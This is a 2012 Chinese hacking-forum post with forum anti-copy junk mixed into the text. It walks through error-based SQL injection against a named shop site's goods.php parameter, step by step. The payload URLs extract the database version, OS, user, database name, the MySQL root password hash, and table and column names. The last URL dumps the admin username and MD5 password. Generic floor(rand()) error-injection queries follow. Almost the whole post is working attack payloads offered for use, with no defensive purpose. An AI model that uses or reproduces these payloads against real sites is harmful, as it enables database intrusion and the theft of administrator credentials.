找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 9 c/ N/ t0 ~: i& H% t2 ~
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" c9 f4 [! G. h& G9 e! d2 N" T

( K& f% S7 \% h  I; e6 L# i判断系统/ m. |6 ]( C8 X9 _

; s$ u* m5 C: n0 B% N; u! Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 C+ k) A# f; U  G: L& O' F9 x1 e) A4 C& b1 S1 A
& r; L/ R% R+ o/ M( J+ [( d' P8 l

% u) V8 ?4 H; C7 E" E9 ^当前 user()" C* ]- m. F6 D. w( b' o( }, r- ]

0 ~3 v# F3 i7 w6 B  \5 qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 N# i1 P. q* q
+ ^& ~" Q* w; ]6 F5 u/ C8 Q  \- H
0 a; [6 M' c3 M+ y+ R8 I9 N; r3 l  W
当前 database()* a9 w1 X& B. O  y& C
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. z4 Y. O2 t. ?! s1 u7 K4 V* w
0 e9 M# p6 ^% q% \7 }; O' z7 _
  V# p3 Q! e& r5 ?9 @. K) l& M
! m" D8 |% n- I- O( v8 z/ E
5 v6 M/ K+ W* z6 e. H
root hash
# l8 L5 A, Z/ @  O2 `. I* i) I& W- O. d- j  S- |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& L4 f2 l; V+ [" c2 F; J: x8 w- j3 ~) O& K9 r( y
9 h) q& J% C4 c1 k, h

. `1 o; t0 S6 ~当前 数据库表名
2 W( o: y. {1 T4 `9 ~$ v6 Q* v! }: ^8 l# U# n0 Q/ y8 M9 j
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* R( _! o0 ?) Y+ f/ W

" H( t+ n6 s1 y2 B: _4 `0 W) O
* B( T# c3 K' V& ~7 s
) w' w$ g. Z: y$ W当前 数据库 user_name 字段
2 j+ I  i1 _% P: m
. v/ m- C7 M* a( s: Ehttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( ~% x7 ]9 f- V: B+ ?/ P( g) s0 I; q. @  t  d& b
当前 数据库 字段 password+ f. V# n: V; _6 C7 q8 {1 S
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( S9 Y3 J, q: \* |$ Y
$ V# r2 D2 k! P; I1 P& V$ A4 y5 v  k. w8 @9 h. p) D
# E& d6 i  M  ^7 H7 X
获得 admin passwd(md5)
! I+ J+ P$ w* D2 N4 J( I* C
, Y. ^% K4 i. i7 U+ L5 L5 |' ~2 ]  k" q' w2 [4 e
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23! h8 N+ H/ e; E5 d1 H( U! f
; u: W+ z" P8 Q& B" n- C/ o; b
报错注射
) a0 o6 t$ V1 g1 R% ASELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a); M- G1 a8 @0 N! h) }4 c0 y
) ~1 y5 Q, x+ A5 R/ |
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
4 o  t2 J! W: {8 {; Q4 w7 f
2 j: }3 I6 S, e  iand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表